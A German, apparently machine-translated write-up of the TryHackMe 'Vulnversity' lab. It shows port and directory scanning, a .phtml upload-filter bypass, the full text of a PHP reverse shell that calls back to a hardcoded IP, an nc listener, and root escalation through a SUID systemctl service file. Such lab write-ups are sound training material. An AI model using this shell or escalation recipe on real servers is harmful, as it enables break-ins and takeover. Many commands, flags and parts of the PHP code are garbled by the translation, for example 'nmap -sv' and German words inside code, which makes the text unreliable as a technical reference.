Dieses Mal werde ich versuchen, den Raum "Vulnversity" in Tryhackme zu erobern.
"Tryhackme-vulnversity: https://tryhackme.com/room/vulnversity "




Die Maschine einsetzen
Stellen Sie zunächst die Zielmaschine bereit.
Wählen Sie "Startmaschine" aus

Wenn die IP wie unten gezeigt angezeigt wird, gibt es kein Problem.

Antwort

Aufklärung
Zunächst verwenden wir ein Netzwerk -Scan -Tool namens NMAP, um Informationen über die Zielmaschine zu sammeln.
Weitere Informationen zum Befehl finden Sie unter Ich habe versucht, NMAP zu verwenden, ein leistungsstarkes Netzwerk -Scan -Tool!

┌── (hacklab㉿hacklab)-[~] └─ $ nmap -sv 10.10.141.243 Start NMAP 7.92 (https://nmap.org) Bei 2023-04-19 21:13 JST NMAP-Scan-Bericht für 10.10.141.243 IS up (0.24s Latecency). Nicht gezeigt: 994 geschlossene TCP-Ports (conn-refundiert) Port State Service Version 21/TCP Open FTP VSFTPD 3.0.3 22/TCP Open SSH OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu linux; Protocol 2.0) 139/TCP Open NetbiSn Netbios-SSN). 445/TCP Open Netbios-SSN SAMBA SMBD 3.x-4.x (Arbeitsgruppe: Arbeitsgruppe) 3128/TCP Open Http-Proxy Squid Http Proxy 3.5.12 3333/TCP Open HTTP Apache HTTPD 2.4.18 ((UBUNTU). OSS: UNIX, Linux; CPE: CPE:/O: Linux: Linux_kernel Service -Erkennung durchgeführt. Bitte melden Sie falsche Ergebnisse unter https://nmap.org/submit/. NMAP Fertig: 1 IP -Adresse (1 Host -Up) in 58,36 Sekunden gescannt
Sie können sehen, dass ungefähr sechs Dienste ausgeführt werden.
Antwort
Es gibt viele NMAP -Cheatsheets online, die Sie auch verwenden können.

Scannen Sie die Box, wie viele Ports sind geöffnet?

Welche Version des Squid -Proxy läuft auf der Maschine?

Wie viele Anschlüsse scannen NMAP, wenn das Flag -P -400 verwendet wurde?
┌── (hacklab㉿hackLab)-[~] └─ $ nmap -sv -p-400 10.10.141.243 Start NMAP 7.92 (https://nmap.org) Bei 2023-04-19 21:22 JST NMAP-SCAN-Bericht für 10.10.141.243 Hostshost (0.24s Latinecy). Nicht gezeigt: 397 geschlossene TCP-Ports (conn-refundiert) Port State Service Version 21/TCP Open FTP VSFTPD 3.0.3 22/TCP Open SSH OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu linux; Protocol 2.0) 139/TCP Open NetbiSn-SSSN). Vulnuniversität; OSS: UNIX, Linux; CPE: CPE:/O: Linux: Linux_kernel Service -Erkennung durchgeführt. Bitte melden Sie falsche Ergebnisse unter https://nmap.org/submit/. NMAP Fertig: 1 IP -Adresse (1 Host -Up) gescannt in 16,39 Sekunden

Verwenden Sie die NMAP -Flagge -N Was wird es nicht lösen? (Was löst die Verwendung von NMAP Flag -n?)

Was ist das wahrscheinlichste Betriebssystem, das dieser Computer ausgeführt wird?
┌── (hacklab㉿hackLab)-[~] └─ $ sudo nmap -sv -o 10.10.141.243 1 ⨯ NMAP 7.92 (https://nmap.org) bei 2023-04-19 21:45 JST NMAP SCAN-Bericht für 10.10.141.243 Host (0.24s Latting). Nicht gezeigt: 994 geschlossene TCP -Ports (Reset) Port State Service Version 21/TCP Open FTP VSFTPD 3.0.3 22/TCP Open SSH OpenSSH 7.2p2 Ubuntu 4UBUBUNTU2.7 (UBUNDU Linux; Protocol 2.0) 139/TCP Open NetBIOS -SSN SAMBOUL: TCPOSSN) SAMBOUL: netbios-ssn samba smbd 3.x-4.x (Arbeitsgruppe: WorkGroup) 3128/TCP Open HTTP-Proxy Squid Http Proxy 3.5.12 3333/TCP Open HTTP Apache HTTPD 2.4.18 ((Ubuntu)) No Exact OS-Übereinstimmung mit dem OS-OS-Übereinstimmung mit HOST (wenn Sie wissen, dass Host (wenn https://nmap.org/submit/). TCP/IP -Fingerabdruck: OS: Scan (V = 7,92%E = 4%D = 4/19%OT = 21%CT = 1%Cu = 36437%PV = y%DS = 2%DC = i%G = y%TM = 643FE27 OS: 9%p = x86_64-pc-linux-gnu) SEQ (SP = 100%GCD = 1%ISR = 108%Ti = z%ci = i%II = i%ts = 8) Ops OS: (O1 = M506ST11NW7%O2 = M506ST11NW7%O3 = M506NNT11NW7%O4 = M506ST11NW7%O5 = M506ST1 OS: 1NW7%O6 = M506ST11) Gewinn (W1 = 68DF%W2 = 68DF%W3 = 68DF%W4 = 68DF%W5 = 68DF%W6 = 68DF) ECN OS: (r = y%df = y%t = 40%w = 6903%o = M506NNSNW7%CC = y%q =) t1 (r = y%df = y%t = 40%s = o%a = s+%f = a OS: S%RD = 0%Q =) T2 (R = N) T3 (R = N) T4 (r = y%df = y%t = 40%w = 0%s = A%a = z%f = r%o =%rd = 0%q =) t5 (r OS: = y%df = y%t = 40%w = 0%s = z%a = s+%f = ar%o =%rd = 0%q =) t6 (r = y%df = y%t = 40%w = 0%s = a%a = z%f OS: = r%o =%rd = 0%q =) t7 (r = y%df = y%t = 40%w = 0%s = z%a = s+%f = ar%o =%rd = 0%q =) u1 (r = y%df = n% OS: T = 40%IPL = 164%UN = 0%RIPL = G%RID = G%RIPCK = g%Ruck = g%Rud = g) IE (r = y%dfi = n%t = 40%CD OS: = S) Netzwerkentfernung: 2 Hops Service Info: Host: Vulnuniversity; OSS: UNIX, Linux; CPE: CPE:/O: Linux: Linux_kernel OS und Serviceerkennung durchgeführt. Bitte melden Sie falsche Ergebnisse unter https://nmap.org/submit/. NMAP Fertig: 1 IP -Adresse (1 Host -Up) in 44,07 Sekunden gescannt

Auf welchem Port wird der Webserver ausgeführt?

Es ist wichtig, dass Sie vor dem Fortschritt immer gründlich Ihre Aufklärung durchführen.
alle offenen Dienste (die alle Ausbeutungspunkte sein können ). Vergessen Sie nicht, dass die Ports auf einem höheren Bereich geöffnet sind, sodass nach 1000 immer die Ports nach 1000 Scannen scannen (auch wenn Sie das Scannen im Hintergrund lassen) (auch wenn der Scan im Hintergrund durchgeführt wurde).

Auffinden von Verzeichnissen mit Gobuster
Scannen Sie die Website, um versteckte Verzeichnisse zu finden.
┌── (hacklab㉿hacklab)-[~] └─ $ gobuster dir -u http://10.10.141.243:333 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt = chritorial muerial muerial) buster v3.5 by oj reeves (@@@@@@@@@@@@@@@jhlma muerial) buster v3.5 by oj reeves (@@@@@@@@@@@@@@@@@@@@@@@@@@jhl. . Timeout: 10s ==== 2023/04/19 22:13:23 Start des Gobuster im Verzeichnis Enumerationsmodus http://10.10.141.243:3333/css/] /js (Status: 301) [Size: 318] [--> http://10.10.141.243:3333/js/] /fonts (Status: 301) [Size: 321] [--> http://10.10.141.243:333/fonts/]/intern (Status: 301) [Größe: 324] [-> http://10.10.141.243:33/internal/]
Es gibt verschiedene Verzeichnisse, aber "/intern/" scheint misstrauisch zu sein.

Das Verzeichnis mit der Upload -Seite wurde gefunden.
Antwort
Was ist das Verzeichnis, das eine Upload -Formularseite enthält?

Kompromiss den Webserver
Ich habe eine Seite gefunden, um die Datei hochzuladen, also werde ich versuchen, sie zu verwenden.
Antwort
Welcher gemeinsame Dateityp, den Sie hochladen möchten, um den Server auszunutzen, ist blockiert? Versuchen Sie ein Paar, um es herauszufinden.
Ich war mir darüber nicht sicher. . . Nachdem ich viel gesucht habe, scheint es, dass .Php die Antwort ist.

Ich werde versuchen, den Eindringling von Burp Suite zu verwenden, um eine Erweiterung zu finden, die PHP ausführen kann.
Turn Intercept ist ein und laden hoch.

Wählen Sie nun Aktion> an Intruder senden.

Dieses Mal möchte ich die Dateierweiterung ändern, daher suche ich nach der Datei, die ich hochgeladen habe, und fixiere die Erweiterung in "§".

Setzen Sie Nutzlastoptionen als [.php, .php3, .php4, .php5, .phtml].

Wenn Sie dies tun, werden Sie sehen, dass alles bei 200 zurückgegeben wird, wie unten gezeigt.

Hier ist der Unterschied in der Länge nur ".phtml".
Schauen wir uns den Inhalt ein wenig an.

Nur .Phtml wurde zum Erfolg zurückgeführt.
Nutzen Sie dies, um eine PHP -Revers -Shell auszuführen.

dies als Referenz, um eine PHP -Revers -Shell zu erstellen.
Vergessen Sie nicht, Ihre IP zu ändern.
┌── (hacklab㉿hacklab)-[~/tryhackme/vulnversity] └─ $ cat php-reverse-shell.phtml <?php // php-reverse-shell - A Reverse Shell implementation in PHP // Copyright (C) 2007 pentestmonkey@pentestmonkey.net // // This tool may be used for legal purposes only. Users take full responsibility // for any actions performed using this tool. The author accepts no liability // for damage caused by this tool. If these terms are not acceptable to you, then // do not use this tool. // // In all other respects the GPL version 2 applies: // // This program is free software; you can redistribute it and/or modify // it under the terms of the GNU General Public License version 2 as // published by the Free Software Foundation. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License along // with this program; if not, write to the Free Software Foundation, Inc., // 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. // // This tool may be used for legal purposes only. Users take full responsibility // for any actions performed using this tool. If these terms are not acceptable to // you, then do not use this tool. // // You are encouraged to send comments, improvements or suggestions to // me at pentestmonkey@pentestmonkey.net // // Description // ----------- // This script will make an outbound TCP connection to a hardcoded IP and port. // The recipient will be given a shell running as the current user (apache normally). // // Limitations // ----------- // proc_open and stream_set_blocking require PHP version 4.3+, or 5+ // Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows. // Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available. // // Usage // ----- // See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck. set_time_limit (0); $VERSION = "1.0"; $ip = '10.18.110.90'; // CHANGE THIS $port = 1234; // CHANGE THIS $chunk_size = 1400; $write_a = null; $error_a = null; $shell = 'uname -a; w; id; /bin/sh -i'; $daemon = 0; $debug = 0; // // Daemonise ourself if possible to avoid zombies later // // pcntl_fork is hardly ever available, but will allow us to daemonise // our php process and avoid zombies. Worth a try... if (function_exists('pcntl_fork')) { // Fork and have the parent process exit $pid = pcntl_fork(); if ($pid == -1) { printit("ERROR: Can't fork"); exit(1); } if ($pid) { exit(0); // Parent exits } // Make the current process a session leader // Will only succeed if we forked if (posix_setsid() == -1) { printit("Error: Can't setsid()"); exit(1); } $daemon = 1; } else { printit("WARNING: Failed to daemonise. This is quite common and not fatal."); } // Change to a safe directory chdir("/"); // Remove any umask we inherited umask(0); // // Do the reverse shell... // // Open reverse connection $sock = fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) { printit("$errstr ($errno)"); exit(1); } // Spawn shell process $descriptorspec = array( 0 => Array ("Pipe", "R"), // stdin ist ein Rohr, das das Kind aus 1 => Array ("Pipe", "W") liest, // stdout ist ein Rohr, das das Kind auf 2 => Array ("Pipe", "W") // Stderr schreibt, an das das Kind schreibt); $ process = proc_open ($ Shell, $ DescriptorSpec, $ pipes); if (! is_resource ($ process)) {printit ("Fehler: kann nicht laichen Shell"); Ausgang (1); } // alles auf nicht blockierende // Grund einstellen: Incisional Reads wird blockiert, obwohl Stream_Select uns sagt, dass sie nicht stream_set_blocking ($ pipes [0], 0); stream_set_blocking ($ pipes [1], 0); stream_set_blocking ($ pipes [2], 0); stream_set_blocking ($ sock, 0); printit ("erfolgreich geöffnet Reverse Shell zu $ ip: $ port"); while (1) {// nach Ende der TCP -Verbindung prüfen, wenn (feof ($ sock)) {printit ("Fehler: Shell -Verbindung terminiert"); brechen; } // nach Ende von stdout if (feof ($ pipes [1])) {printit ("Fehler: Shell -Prozess beendet"); brechen; } // Warten Sie, bis ein Befehl $ $ sock ist, oder eine // Befehlsausgabe ist für stdout oder stderr $ read_a = array ($ sock, $ pipes [1], $ pipes [2]); $ num_changed_sockets = stream_select ($ read_a, $ write_a, $ errungen_a, null); // Wenn wir aus dem TCP -Socket lesen können, senden Sie // Daten an die stedin des Prozesses, wenn (in_array ($ sock, $ read_a)) {if ($ debug) printit ("Sock read"); $ inpread = fread ($ sock, $ chunk_size); if ($ debug) printit ("Sock: $ Input"); fWrite ($ pipes [0], $ input); } // Wenn wir aus dem STDOut des Prozesses lesen können // Daten auf TCP -Verbindung senden können, wenn (in_array ($ pipes [1], $ read_a) {if ($ debug) printit ("stDout read"); $ input = fread ($ pipes [1], $ chunk_size); if ($ debug) printit ("stdout: $ input"); fWrite ($ sock, $ input); } // Wenn wir aus dem Stderr des Prozesses lesen können, senden Sie Daten auf TCP -Verbindung, wenn (in_array ($ pipes [2], $ read_a) {if ($ debug) printit ("stderr read"); $ input = fread ($ pipes [2], $ chunk_size); if ($ debug) printit ("stderr: $ input"); fWrite ($ sock, $ input); }} fcLose ($ sock); fcLose ($ pipes [0]); fcLose ($ pipes [1]); fcLose ($ pipes [2]); Proc_close ($ prozess); // Like drucken, aber nichts, wenn wir uns selbst beschämen // (ich kann nicht herausfinden, wie man Stdout wie ein ordnungsgemäßes Daemon) -Funktion Printit ($ String) {if (! $ Daemon) {print "$ string \ n" umleiten; }}?>
Hören Sie sich 1234 an, bevor Sie die Datei hochladen.
┌── (hacklab㉿hacklab) -[~/tryhackme/vulnversity] └─ $ nc -lvnp 1234 Hören Sie sich an [an jedem] 1234 ...
Wenn möglich, laden Sie die PHP Reverse Shell von früher hoch.


Es war ein Erfolg.
PHP unter http://10.10.141.243:3333/internal/uploads/php-reverse-shell.phtml

Werfen wir einen Blick auf ihn, wenn er in diesem Zustand zuhört.
┌── (hacklab㉿hacklab)-[~/tryhackme/vulnversity] └─ $ nc-Lvnp 1234 Hören Sie [an jedem] 1234 ... Verbinden Sie sich mit [10.18.110.90] aus (unbekannt) [10.10.141.243] 42860 Linux Vulnunivsity 4.4.0-142-Generic #16860 Linux Vulnunsive 4.0-142-generic #16860 linux vulnival. 21:00:45 UTC 2019 x86_64 x86_64 x86_64 gnu/linux 10:05:06 Up 1:57, 0 Benutzer, Lastdurchschnitt: 0,03, 0,01, 0.00 Benutzer tty aus login@ intellig JCPU PCPU Was uid = 33 (www-data) gid = 33 (www-data) gg. /bin /sh: 0: kann nicht auf TTY zugreifen; Job kontrollierte $ deaktiviert $
Sie können eine Reverse Shell richtig ausführen.
Mal sehen, welche Art von Benutzern es gibt.
$ CD Home $ ls Bill

Der Benutzer dieses Benutzers scheint ein Flag zu haben. Überprüfen Sie es daher unbedingt.
$ cd bill $ ls user.txt $ cat user.txt 8BD7992FBE8A6AD22A63361004CFCEDBB

Privilegienkalation
Als nächstes werden wir nach einer Möglichkeit suchen, Privilegien zu eskalieren, um Wurzelprivilegien zu erhalten.
Dieses Mal werden wir mit SUID Privilegien eskalieren.
Wenn Sie sich nicht sicher sind, wie Ihre SUID ist, finden Sie in Elektronikation mit SUID/SGID Executable

Lassen Sie uns zunächst eine Liste von SUID -Executables anzeigen.
$ find / -type f -a \ (-perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2>/dev/null -rwxr-sr-x 1 root tty 27368 16. Mai 2018/usr/bin/wand -rwxr-sr-x 18. November 2014/usr/bin/mLocate -rwxr-sr-x 1 Root Shadow 62336 16. Mai 2017/usr/bin/chage -rwsr-xr-X 1 Root 49584 Mai 16. Mai 2017/usr/bin/chfn-Rwxr-X 1 Wurzel utmp 434216 FEGS 7 2016 2016/usr/scr. 358624 31. Januar 2019/usr/bin/ssh-Agent -rwsr-xr-X 1 Root Root 32944 Mai 16. Mai 2017/usr/bin/newgidmap -rwxr-sr-x 1 root crontab 36080 ape 5 2016/usr/crontab -rwsr-XR-X 1 Root 1 Root 136808 jul/crontab -rwsr-Xr-x 1 -RWSR-XR-X 1 Wurzel Root 40432 16. Mai 2017/USR/bin/chsh -rwxr-sr-x 1 Root Shadow 22768 16. Mai 2017/USR/bin/expiry -rwsr-xr-x 1 Root 54256 Mai 16 2017/usr/bin/passwd --r-xr-xr-x-ox 1 Wurzelwurzel 2376 Jan/Bin/Passwd --rwsr-Xr-X. /usr/bin/pkexec -rwsr-xr-x 1 Root Root 39904 16. Mai 2017/usr/bin/newgrp -rwsr-xr-x 1 Root 75304 16. Mai 2017/usr/gpasswd -rwsr-X 1 Daemon-SMONE 51464 Jan 2016/usr/usr/usr/usr/usr/usr/uw/rwsr-semon 51464 Jan 29 2019 /usr/lib/snapd/snap-confine -rwsr-xr-x 1 root root 14864 Jan 15 2019 /usr/lib/policykit-1/polkit-agent-helper-1 -rwsr-xr-x 1 root root 428240 Jan 31 2019 /usr/lib/openssh/ssh-keysign -rwsr-xr-x 1 root root 10232 27. März 2017/usr/lib/eject/dmcrypt-get-device -rwsr-xr-X 1 Root Root 76408 Jul 17 2019/usr/lib/squid/pinger -rwsr-xr- -rwxr-sr-x 1 root utmp 10232 Mar 11 2016 /usr/lib/x86_64-linux-gnu/utempter/utempter -rwsr-xr-x 1 root root 38984 Jun 14 2017 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic -rwsr-xr-x 1 root root 40128 Mai 16. 2017 /bin /su-Rwsr-xr-x 1 Root Root 142032 Jan 28. Januar 2017 /bin /ntfs-3g -rwsr-xr-x 1 Root Root 40152 Mai 16. Mai 2018 /bin /montage -rwsr-xr-x-Root 4468. Mai. /bin /Umount -rwsr-XR-X 1 Root Root 659856 Feb 13 2019 /bin /systemctl -rwsr-xr-x Root 44168 7. Mai 2014 /bin /ping -rwsr-xr-x-Root-Wurzel-Root-Schatten 35600 /bin /fUstermount -rwsr-XR-X 1 Root Schatten 35600 /Bin APF APF APF APF APF APF APF APF 35600) /sbin /unix_chkpwd -rwxr-sr-x 1 Root Shadow 35632 Apr 9 2018 /sbin /pam_extrausers_chkpwd -rwsr-xr-x 1 Root Root 35600 Mar 6 2017 /sbin/mount.cifs
GTFOBINS , scheint es, dass die Eskalation von Privilegien mit "/bin/systemctl" erstellt werden kann.

Ich werde den Inhalt von GTFOBINS ein wenig bearbeiten und ihn ausführen.
$ Tf = $ (mktemp) .service $ echo '[service] execstart =/bin/sh -c "cat /root/root.txt>/tmp/output" [install] wanteBy by /etc/systemd/system/multi-user.target.wants/tmp.etlafk2gsg.service to /tmp/tmp.etlafk2gsg.service. $ cd /tmp $ cat output a58ff8579f0a9270368d33a9966c7fd5
Wenn es richtig gemacht wird, sollte die Ausgabe eine Flagge geben.

Zusammenfassung
Diesmal habe ich versucht, den Raum "Vulnversity" zu erobern.
Ich denke, der Inhalt ist einfach, aber es gibt immer noch viele Dinge, die ich nicht verstehe, und es gibt ein paar Dinge, die ich nicht verstehen kann, wenn ich mir das Schreiben anschaue.
Es scheint auch, dass Sie noch nicht herausfinden konnten, welche Anfälligkeit angreifen kann.
Ich werde weiter studieren. . .
Referenzen und Websites
Medium (Utkarsh Rai): https://infosecwriteups.com/tryhackme-vulnversity-70ceeb601757